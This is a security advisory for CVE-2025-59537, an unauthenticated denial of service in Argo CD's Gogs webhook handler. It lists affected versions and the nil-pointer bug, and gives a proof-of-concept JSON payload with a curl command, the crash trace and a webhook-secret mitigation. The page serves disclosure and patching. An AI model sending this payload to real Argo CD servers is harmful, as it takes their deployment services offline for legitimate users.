CVE-2025-59537: argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload
Summary Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.
Published Sep 30, 2025 · Updated Oct 23, 2025
Affected packages
github.com/argoproj/argo-cd
- Ecosystem
- Go
- Affected
- >= 1.2.0, <= 1.8.7
- Fixed in
- No patched version yet
- Check
go list -m github.com/argoproj/argo-cd
github.com/argoproj/argo-cd/v2
- Ecosystem
- Go
- Affected
- >= 2.0.0-rc1, <= 2.14.19
- Fixed in
- 2.14.20
- Check
go list -m github.com/argoproj/argo-cd/v2
github.com/argoproj/argo-cd/v3
- Ecosystem
- Go
- Affected
- = 3.2.0-rc1
- Fixed in
- 3.2.0-rc2
- Check
go list -m github.com/argoproj/argo-cd/v3
github.com/argoproj/argo-cd/v3
- Ecosystem
- Go
- Affected
- >= 3.1.0-rc1, <= 3.1.7
- Fixed in
- 3.1.8
- Check
go list -m github.com/argoproj/argo-cd/v3
github.com/argoproj/argo-cd/v3
- Ecosystem
- Go
- Affected
- >= 3.0.0-rc1, <= 3.0.18
- Fixed in
- 3.0.19
- Check
go list -m github.com/argoproj/argo-cd/v3
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.
With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.
Details
Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.
The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.
func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
switch payload := payloadIf.(type) {
// ...
case gogsclient.PushPayload:
webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
// ...
}
return webURLs, revision, change, touchedHead, changedFiles
}
PoC
payload-gogs.json
{
"ref": "refs/heads/master",
"before": "0000000000000000000000000000000000000000",
"after": "0a05129851238652bf806a400af89fa974ade739",
"commits": [{}]
}curl -k -v https://argocd.example.com/api/webhook \
-H 'X-Gogs-Event: push' \
-H 'Content-Type: application/json' \
--data-binary @/tmp/payload-gogs.jsonAn attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]
goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28Mitigation
If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.gogs.secret: <your base64-encoded secret here>For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credit
Sangjun Song (s0ngsari) at Theori (theori.io)
Credited to s0ngsari530, jake-ciolek, crenshaw-dev, blakepettersson.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-77459
Argo CD: AppProject destination-namespace and resource restrictions bypassed by PreDelete/PostDelete resource hooks
critical9.9No fixOct 15, 2026CVE-2026-55797
Argo CD repo-server command injection via crafted SSH repository SOCKS5 proxy URL
high8.8No fixOct 9, 2026CVE-2026-45737
Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations
medium6.3May 19, 2026CVE-2026-45738
Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation
high7.3No fixMay 19, 2026CVE-2026-42880
ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction
critical9.6May 7, 2026CVE-2025-55191
Repository Credentials Race Condition Crashes Argo CD Server
medium6.5Sep 30, 2025
